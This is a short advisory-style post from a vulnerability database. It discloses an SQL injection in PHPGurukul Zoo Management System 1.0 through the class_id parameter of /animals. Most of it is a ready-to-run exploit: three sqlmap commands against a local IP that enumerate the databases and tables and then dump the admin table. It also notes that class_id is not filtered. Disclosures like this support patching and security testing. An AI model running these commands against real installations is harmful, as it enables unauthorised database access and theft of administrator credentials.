Sunday, April 10, 2022

PHPGurukul Zoo Management System 1.0 SQL Injection

# Zoo Management System SQL Injection
# Author: D4rkP0w4r
* Description => sql injection at /animals?class_id=1
* Injection Point

http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1

# Exploit
* Exploit with Sqlmap
python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -dbs

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -tables -D zoomanagement

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -columns -D zoomanagement -T admin -dump

# Vulnerable Code

* No filter `class_id` when inserting data to database

 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore